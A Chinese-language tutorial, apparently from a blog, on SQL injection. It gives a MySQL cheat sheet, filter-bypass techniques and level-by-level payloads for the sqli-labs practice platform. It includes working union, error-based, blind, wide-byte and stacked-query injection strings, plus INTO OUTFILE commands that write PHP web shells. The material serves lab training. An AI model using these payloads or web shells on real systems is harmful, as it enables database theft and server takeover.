预备知识
MySQL 常用语句备忘
代码语言:javascript复制-- Default Databases
mysql Requires root privileges
information_schema Available from version 5 and higher
Comment Out Query
# /**/ -- - ; `
select user(); -- 数据库用户名
select version(); -- MySQL版本
select database(); -- 数据库名
select @@basedir; -- 数据库安装路径
select @@datadir; -- 数据存储路径
select @@version_compile_os; -- 操作系统版本
show global variables like '%secure%'; --
if(expr,v1,v2) -- expr正确则v1,否则v2
select case when expr then v1 else v2 end; -- 与 if 功能相同
select concat('11', '22', '33'); -- 字符串连接 112233
select concat_ws(x, s1,s2...sn) -- 以 x 作为连接符,将字符串连接
select group_concat() -- 把查询出来的多行连接起来
select mid(str, start, count) -- 从start开始截取count个字符
select substr(database(), 1, 1) -- 与mid同
# 如果用不了逗号,直接 from start for count
# union select * from (select 1)a join (select 2)b == union select 1,2
select left(str, count) -- 截取左边count个字符
select ord() -- 返回第一个字符的ASCII码
select ascii() -- 与ord同
select char(32, 58, 32) -- ' : ' 即空格 : 空格
select length(database());
delete from table_name where id=1; -- 不加限制条件将删除整张表
drop database ds_name;
drop column column_name;
alter table table_name;
update table_name set column_name='new' where id=1; -- 更新
/*!50000select*/
where id = 0.1 union select ...
xor, ||, &&, !, not,<>
注入类型
union 注入
所查询的字段数需与主查询一致
字段数可先用 order by x 来确定
代码语言:javascript复制union select 1, 2 from user where id = 1 or 1=1
information_schema 注入
存储数据库信息的数据库
代码语言:javascript复制数据库名 schemata => schema_name tables => table_schema columns => table_schema 表名 tables => table_name columns => table_name 列名 columns => columns_name
select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- 获取当前数据库中所有表
select 1,group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167; -- 获得所有列名(字段),table_name 参数进行十六进制编码后可绕过引号被过滤
-1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
-- 下载数据
-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # -- 获取表中的字段名
函数报错信息注入
前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
常用报错函数:updatexml(), extractvalue(), floor() 十种MySQL报错注入 【SQL注入】报错注入姿势总结
代码语言:javascript复制and (extractvalue(1,concat(0x7e,(select user()),0x7e)));#
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);#
基于函数报错信息获取(select, insert, update, delete)
insert / update / delete 注入
结合函数报错信息,将函数插入到语句中
http header 注入
如 XFF
,referer
观察点:后台收集了请求头中的信息,并存入到数据库中
布尔盲注
结合 and 进行逻辑判断
效率太低,写脚本爆
时间盲注
无显示回显,可在以前的基础上加入 sleep()
语句,若明显延迟,则注入成功
BENCHMARK(count,expr)
执行 count
次的 expr
,如 BENCHMARK(10000000,SHA(‘1’))
即使 sleep
和 benchmark
都被过滤了,但是我们依然可以通过让Mysql进行复杂运算,
以达到延时的效果,比如可以用字段比较多的表来计算笛卡尔积
代码语言:javascript复制select count(*)
from information_schema.columns A,
information_schema.columns B,
information_schema.columns C#
还有 get_lock()
利用注入写入后门
前提:开启 secure_file_priv,并且具有写的权限
代码语言:javascript复制select 1,2,'<?php system($_GET[1])?>' into outfile 'H:\a.php'--
Bypass
检测被过滤的关键词:
- fuzz 一波 ASCII 码
- id = 1 ^ (length(‘xxx’)=3)
空格
- 使用注释绕过,/*/ (/1*/)
- 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用 ( ) 包围
select(group_concat(table_name))
from(information_schema.tables)
where(table_schema=database())
- 使用符号替代空格
空格
TAB 键(水平)
TAB 键(垂直)
return 功能
新的一页
� 空格
新建一行
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
引号
代码语言:javascript复制select column_name from information_schema.tables where table_name="users"
如果引号被过滤了,那么上面的where
子句就失效了,此时可以使用十六进制。 users
的十六进制的字符串是7573657273
。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
宽字节绕过
代码语言:javascript复制�' �' �'
逗号
substr(), mid()
里的逗号可用 from for
代替
select substr(database(0 from 1 for 1);
select mid(database(0 from 1 for 1);
对于 limit
里面的逗号可以使用 offset
绕过
select * from news limit 0,1
<=>
select * from news limit 1 offset 0
比较符
大于、小于可用 greatest(), least()
代替,还可以 between and
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
条件连接词
代码语言:javascript复制利用符号:
and => &&
or => ||
xor => |
not => !
大小写变形: Or, OR, oR
添加注释: o/**/r
编码:hex, urlencode
union, select, where
(1)使用注释符绕过:
代码语言:javascript复制//,-- , /**/, #, -- , -- -, ;, ,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
sele%ct IIS 服务器可以插入 %
(2)使用大小写绕过:
代码语言:javascript复制id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
代码语言:javascript复制id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过:
代码语言:javascript复制id=-1'UNIunionONSeLselectECT1,2,3–-
(5)科学计数法
代码语言:javascript复制id=0e1union
表名等关键词
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
注释符
常用注释符:#, -- , /**/
,可以用 ;
代替
不用注释符,与后面的语句构造闭合就行,如 ||'1
,恰好与 ’ LIMIT 0,1
闭合
等号
使用 like 、rlike 、regexp
或者 < , >
部署练习平台
- 手工搭建法
git clone https://github.com/Audi-1/sqli-labs.git
修改 sql-connections/sql-labs/db-creds.inc 中 MySQL用户名/密码
再放到 Apache 下或者 PHPstudy 这种集成工具
From your browser access the sql-labs folder to load index.html
Click on the link setup/resetDB to create database, create tables and populate Data.
Labs ready to be used, click on lesson number to open the lesson page.
Enjoy the labs
- 简单粗暴法
docker配置sqli-labs
开始闯关
题目类型
- 基于从服务器接收到的响应
- 基于错误的SQL注入
- 联合查询的类型
- 堆查询注入
- SQL盲注
- 基于布尔SQL盲注
- 基于时间的SQL盲注
- 基于报错的SQL盲注
- 基于如何处理输入的SQL查询(数据类型)
- 基于字符串
- 数字或整数为基础的
- 基于程度和顺序的注入(哪里发生了影响)
- 一次注入 输入的注入语句对WEB直接产生了影响,出现了结果
- 二次注入 类似存储型XSS,是指输入提交的语句,无法直接对WEB应用程序产生影响, 通过其它的辅助间接的对WEB产生危害,这样的就被称为是二次注入
- 基于注入点的位置上的
- 通过用户输入的表单域的注入
- 通过cookie注入
- 通过服务器变量注入(基于头部信息的注入)
Less-1 Error based - Single quotes
代码语言:javascript复制?id=-1' union select 1, 2, flag from flag#
Less-2 Error based - Double quotes
代码语言:javascript复制?id=-1 union select 1, 2, flag from flag#
Less-3 Error based - Single quotes with twist
代码语言:javascript复制?id=-1') union select 1, 2, flag from flag#
Less-4 Error based - Double Quotes
代码语言:javascript复制?id=-1") union select 1, 2, flag from flag#
Less-5 Double Injection - Single Quotes
二次注入有点懵逼,直接注入没有任何回显,函数报错盲注搞起
代码语言:javascript复制?id=11' and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));#
Less-6 Double Injection - Double Quotes
代码语言:javascript复制?id=11" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));#
Less-7 Dump into outfile
代码语言:javascript复制?id=1 union select 1,2,'<?php @eval($_POST[1])?>' into outfile 'D:\a.php';
Less-8 Blind - Boolean Based - Single Quotes
没有任何报错信息,无法直接根据报错注入,时间盲注
代码语言:javascript复制id=1' and if(ascii(substr((select username from users limit 0, 1), 1, 1))=68 ,1 , SLEEP(5) --
Less-9、Less-10 这两个与 8 类似
Less-11 Error Based - Single quotes
代码语言:javascript复制uname=-1' union select 1,flag from flag#&passwd=&submit=Submit
Less-12
代码语言:javascript复制uname=-1") union select 1,flag from flag#&passwd=&submit=Submit
Less-13
发现有报错信息,尝试报错注入
代码语言:javascript复制uname=-1') and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));#&passwd=&submit=Submit
Less-14
双引号
代码语言:javascript复制uname=1" and (extractvalue(1,concat(0x7e,(select flag from flag),0x7e)));#&passwd=&submit=Submit
Less-15 Less-16
Less-17
利用 update 注入,有明显的报错信息,可以报错注入,并且没有验证之前的密码
代码语言:javascript复制uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&submit=Submit
Less-18 Header Injection - Uagent field - Error based
UA 注入,要先登录才有回显,注意闭合
代码语言:javascript复制' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '
Less-19 Header Injection - Referer field - Error based
Less-20 Cookie injection - Uagent field - Error based
cookie 注入,同样有报错,改了cookie后不会影响登录状态吗?
Less-21 Less-22 与前面的类似
Less-23
发现 #, --
被过滤,可换 ;
,或者直接闭合单引号
?id=-1' union select 1,database(),'3
?id=-1' union select 1,2,database();
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3
-- 报错注入
?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)));
Less-24 Second Oder Injections Real treat - Stored injection
二次排序注入,将可能导致 sql 注入的字符先存入数据库,当再次调用这个恶意构造的字符时,就可以触发注入。
代码语言:javascript复制UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pa';
对于本题的 sql
语句来说,如果先注册一个 admin'#
用户,此用户改密码的时候也修改了 admin
的密码。
所以有无严格控制用户的输入对安全影响特别大。
Less-25 Error Based - All your OR & AND belong to us - integer based
题意是说过滤了 or, and
,并且展示了过滤后的字符串在下方,同时也有报错,所以方法很多
?id=-2' union select 1, database(), 3#
or, and
可以用 ||, &&
代替,本题还可用 o/**/r
或者 oorr
Less-25a Blind Based - All your OR & AND belong to us - integer based
与 Less-25 大同小异
Less-26 Error based - All your SPACES and COMMENTS belong to us(待研究)
尝试了所有的空白符,居然都不行,有个 �
没被过滤,但是不解析,不过 Linux 上可以成功解析
function blacklist($id) {
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[/*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[s]/',"", $id); //过滤空白符,如换行、换页、空格、制表符
$id= preg_replace('/[/\\]/',"", $id); //Strip out slashes
return $id;
}
payload:
代码语言:javascript复制?id=0'union�select�1,database(),3; -- linux(phpstudy上不解析,待研究)
?id=0'union(select(1),database(),3); -- 直接用括号分隔
?id=-1'anandd(extractvalue(1,concat(0x7e,(select(user())),0x7e)));
Less-26a Blind based - All your SPACES and COMMENTS belong to us
多了个 ()
,没有报错回显,依然 �
,也可以盲注
?id=1')union(select(1),database(),3);
Less-27 Error based - All your UNION and SELECT belong to us
代码语言:javascript复制function blacklist($id) {
$id= preg_replace('/[/*]/', "", $id); //strip out /*
$id= preg_replace('/[--]/', "", $id); //Strip out --.
$id= preg_replace('/[#]/', "", $id); //Strip out #.
$id= preg_replace('/[ ]/', "", $id); //Strip out spaces.
$id= preg_replace('/select/m', "", $id); //Strip out spaces.
$id= preg_replace('/[ ]/', "", $id); //Strip out spaces.
$id= preg_replace('/union/s', "", $id); //Strip out union
$id= preg_replace('/select/s', "", $id); //Strip out select
$id= preg_replace('/UNION/s', "", $id); //Strip out UNION
$id= preg_replace('/SELECT/s', "", $id); //Strip out SELECT
$id= preg_replace('/Union/s', "", $id); //Strip out Union
$id= preg_replace('/Select/s', "", $id); //Strip out select
return $id;
}
select, union, 空格
过滤不彻底
?id=-1'and(extractvalue(1,concat(0x7e,(seLect
flag
from
flag),0x7e)));
Less-27a
代码语言:javascript复制?id=0"
UnIon
SElecT
1,(SeLect
flag
from
flag),"3
Less-28
代码语言:javascript复制preg_replace('/unions select/i', "", $id); //Strip out UNION & SELECT.
不能同时出现 union select
,还是遇到了之前那个 �
不解析的问题,但是可以 union all select
,科学计数法 0e1union
也不行
id=0')
union
all
seLect
1,2,group_concat(table_name)
from
information_schema.tables
where
table_schema=database();
如果可以报错注入的话
代码语言:javascript复制?id=2')
and
(extractvalue(1,concat(0x7e,(seLect
group_concat(table_name)
from
information_schema.tables
where
table_schema=database()),0x7e)));
Less-28a
与 28 差不多,并且过滤还减少了。。
Less-29
一旦输入不是数字,直接跳到 hacked.php
,一看源码可知存在 HPP
即参数污染,这实际上是一个逻辑问题。
$qs = $_SERVER['QUERY_STRING'];
$id1 = java_implimentation($qs);
// 参数污染在这里,php 同时接到两个一样的参数,以后一个为准
$id = $_GET['id'];
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 为啥不插 $id1
function whitelist($input) {
$match = preg_match("/^d $/", $input);
if (!$match) {
header('Location: hacked.php');
}
}
// 一找到 id 就返回,即返回的是第一个 id 的值
function java_implimentation($query_string) {
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value) {
$val=substr($value,0,2);
if($val=="id") {
$id_value=substr($value,3,30);
return $id_value;
}
}
}
这题一旦发现是参数污染,即入无人之境,毫无过滤。
代码语言:javascript复制?id=2&id=0' union select 1,2,3#
Less-30
与 29 同,只是拼接了一个 “”
。
Less-31
在前面的基础上又加了一个 ()
。
Less-32,33,34,35,36,37六关全部是针对 ’
和 的过滤,可用宽字节绕过
原理:mysql
在使用 gbk
编码的时候,会将两个字符当做一个汉字。例如 �
,前一个 ASCII
码超过 128
才会达到汉字的范围。
Less-32 Bypass custom filter adding slashes to dangerous chars
干掉 slash 有如下方法
1、�
吃掉 具体的原因是
urlencode(‘) = '
,我们在 '
前面添加 �
,形成 �'
,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时 �
就是一个汉字,'
则作为一个单独的符号在外面,同时也就达到了我们的目的。
2、将 ’
中的 过滤掉,例如可以构造
%**\'
的情况,后面的 会被前面的
给注释掉。
?id=0�' union select 1,2,3#
那第二种方法?
Less-33 Bypass addslashes()
Addslashes()
函数依旧可以利用 �
进行绕过。
下列字符将被加上 进行转义
单引号(') 双引号(") 反斜杠() NULL
Notice:使用 addslashes()
,我们需要将 mysql_query
设置为 binary
的方式,才能防御此漏洞。
mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);
Less-34
此处是 post
,将 utf-8
转换为 utf-16
或 utf-32
,例如将 ‘
转为 utf-16
为 �’
uname=�' or 1#&passwd=admin&submit=Submit
Less-35
35 关和 33关是大致的一样的,唯一的区别在于 sql
语句的不同。
SELECT * FROM users WHERE id=$id LIMIT 0,1
没有 ‘
,就没必考虑 addslashes()
函数的意义了
Less-36
代码语言:javascript复制$string = mysql_real_escape_string($string);
// 下列字符将受影响
x00 n r ' " x1a
依然宽字节注入
代码语言:javascript复制?id=-1�'union select 1,user(),3--
Notice:
在使用 mysql_real_escape_string()
时,需要将 mysql
设置为 gbk
即可。
mysql_set_charset(‘gbk’,’$conn’)
Less-37
利用 34 关的 payload
以下正式进入堆叠注入,即
代码语言:javascript复制select * from users where id=1; show tables;
由于 sql
语句是以 ;
分隔,所以在查询语句的基础,我们还可以加多条语句。
Less-38
没有什么过滤,可以为所欲为,比如直接插入数据
代码语言:javascript复制id=1';insert into users(id,username,password) values ('38','less38','hello')--
Less-39
同 38,只是没有 ‘’
。
Less-40
没有任何防护,得到字段名之后就可以直接往里插入数据
代码语言:javascript复制id=1; insert into users(id,username,password) values ('110','less41','hello')#
做到这里有点无聊就没做了,待更新。
Less-41
Less-42
Less-43
Less-44
Less-45
Less-46
order by
配合 rand()